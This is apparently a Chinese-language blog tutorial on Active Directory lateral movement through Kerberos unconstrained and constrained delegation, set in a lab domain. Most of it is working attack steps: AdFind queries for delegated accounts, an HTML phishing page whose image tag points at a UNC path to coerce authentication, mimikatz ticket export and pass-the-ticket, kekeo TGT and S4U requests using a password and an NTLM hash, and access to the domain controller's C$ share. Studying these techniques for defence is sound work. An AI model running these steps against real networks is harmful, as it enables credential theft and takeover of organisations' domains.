內網橫向移動—非約束委派,約束委派

2024年2月6日 22点热度 0人点赞

1. 委派攻擊介紹

  在Windows 2000 Server首次發佈Active Directory時,Microsoft必須提供一種簡單的機制來支持用戶通過kerberos向web server進行身份驗證並需要代表該用戶更新後端數據庫服務器上的記錄的方案。這通常稱為"kerberos雙跳問題",並且要求進行委派,以便web server在修改數據庫記錄時模擬用戶。

1.1. 約束委派分類

  •   非約束委派
  •   約束委派
  •   基於資源的約束委派

2. 非約束委派

  非約束委派主要是通過域控訪問具有非約束委派權限的域內主機上服務,會把當前的認證用戶的TGT存放在ST票據中,一起發送給域內主機,域內主機會將TGT存儲在lsass進程中以備下次使用。從而域內主機就能夠使用這個TGT模擬認證域內主機訪問服務。

2.1. 配置非約束委派

  這裡想將靶機配置上非約束委派

2.1.1. 域內主機配置

  找到加入的主機名稱,右擊屬性,找到委派,設置成信任計算機來委派任何服務。

2.1.2. 註冊對象

  需要先輸入這個命令,才能夠在用戶屬性中找到委派。

setspn -U -A priv/test webadmin

2.1.3. 域內用戶配置

  找到webadmin添加相應的委派,和上面主機是一樣的。

2.2. 案例測試

  這裡還是依舊上線域內主機,然後進行下面的操作,這裡我就不展示如何上線了,同時還需要對其進行提權,這裡我直接administrator上線。

  AdFind下載:AdFind Download: A reliable and accurate command-line utility that can come in handy whenever you want to get various types of information from Active Directory

2.2.1. 查詢服務賬戶

  查詢域內設置了非約束委派的賬戶。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

2.2.2. 查詢機器賬戶

  查詢域內設置了非約束委派的機器賬戶。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

2.2.3. 機器通訊

  使用域控與委派機器通訊,為的就是讓域控將直接的請求信息發送給域內主機,域內主機則會將請求的票據保存到內存中,當然這裡可能會出現一個問題就是,域控平常很少主動去連接域內主機,同時就算連接,為什麼需要使用查詢操作。

  其實這裡還可以采用釣魚的方式進行通訊,簡單來說就是在域內主機上找到一臺開啟web服務的主機,並且控制它,掛一個黑連上去,引誘去點擊,不過說真的,正常去訪問網頁,誰去使用域控服務器去訪問網頁,除非無意間。

net use \\WIN-U7VV2NU5E5Q
網頁釣魚:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.10\2">
</body>
</html>

2.2.4. 導出票據

  這裡域控剛剛請求的票據從內存中導出來。

mimikatz sekurlsa::tickets /export

2.2.5. 導入票據

  然後在將票據導出,其實就是偽造票據。

mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-0DAY.ORG.kirbi

2.2.6. 連接域控

  對結果進行測試,剛剛我是導入administrator,但是我切換webadmin後無法訪問,然後我又將票據重新導入一下,發現是能夠訪問的,那麼簡單來說,此時就是將票據進行偽造進行訪問,默認情況下票據是10小時。

shell dir \\OWA2010SP3\c$

3. 約束委派

  非約束委派存在不安全性,所以微軟在Windows server 2003中引入了約束委派,約束委派攻擊主要利用被控主機設置了域控的CIFS服務的約束委派,則攻擊者可以先使用S4u2seflt申請域管用戶訪問被控主機的ST1,然後使用S4u2Proxy以administrator身份訪問域控的CIFS服務,即相當於控制了域控。

3.1. 配置約束委派

  同樣這裡需要在域控上設置相應的配置,以達到實驗的目的。

3.1.1. 域內主機配置

  找到加入的主機名稱,右擊屬性,找到委派,設置成僅信任計算機來委派制定的服務,找到域控主機名,並選擇服務類型為cifs添加。

3.1.2. 域內主機配置

  用戶也是設置一樣的配置。

3.2. 案例測試

  這裡我又換了一臺虛擬機,之前使用Windows server 2012,是由於AF那個鬼工具報錯…使用2012就沒報錯了,這裡同樣上線域內主機。

3.2.1. 查詢服務賬戶

  查詢域內設置了約束委派的賬戶。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

3.2.2. 查詢機器賬戶

  查詢域內設置了約束委派的機器賬戶。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

3.2.3. 獲取用戶的票據

  使用kekeo去請求TGT,這裡可以采用明文或者hash值去請求,都可以,這裡還是需要註意,我再做這一步的時候kekeo老是出現問題,主要還是對語法或者輸入的內容比較嚴格。

明文:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /password:admin@123" "exit"
hash值:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

3.2.4. 獲取域控票據

  通過這剛剛生成的TGT偽造s4u請求以Administrator用戶身份去訪問域控的的CIFS的ST,S4U2Self 獲取到的 ST1 以及 S4U2Proxy 獲取到的 AD-2008 CIFS 服務的 ST2 會保存在當前⽬錄下。

  所以在當前目錄下會出現兩個新的票據。

shell kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/OWA2010SP3.0day.org" "exit"
第一個斜杠後面的是你剛剛生成的TGT偽造的票據名稱。
第二個斜杠後面的是以administrator身份去訪問,註意要在後面添加上域名哦。
第三個斜杠後面的是設置的CIFS的域控主機名與域名

3.2.5. 導入票據

  使用mimikatz註入此票據,你可以看那個名稱最長就是那個票據,再次之前你可以測試一下,正常情況下是無法訪問的,當然你如果使用高權限的話,可能會成功,是由於內存中存在其它票據,而為了實驗的嚴謹,可以使用低權限的賬戶shell,來導入,在導入前可以進行測試,最好是直接清除票據後,再進行導入。

mimikatz kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi
shell dir \\OWA2010SP3\c$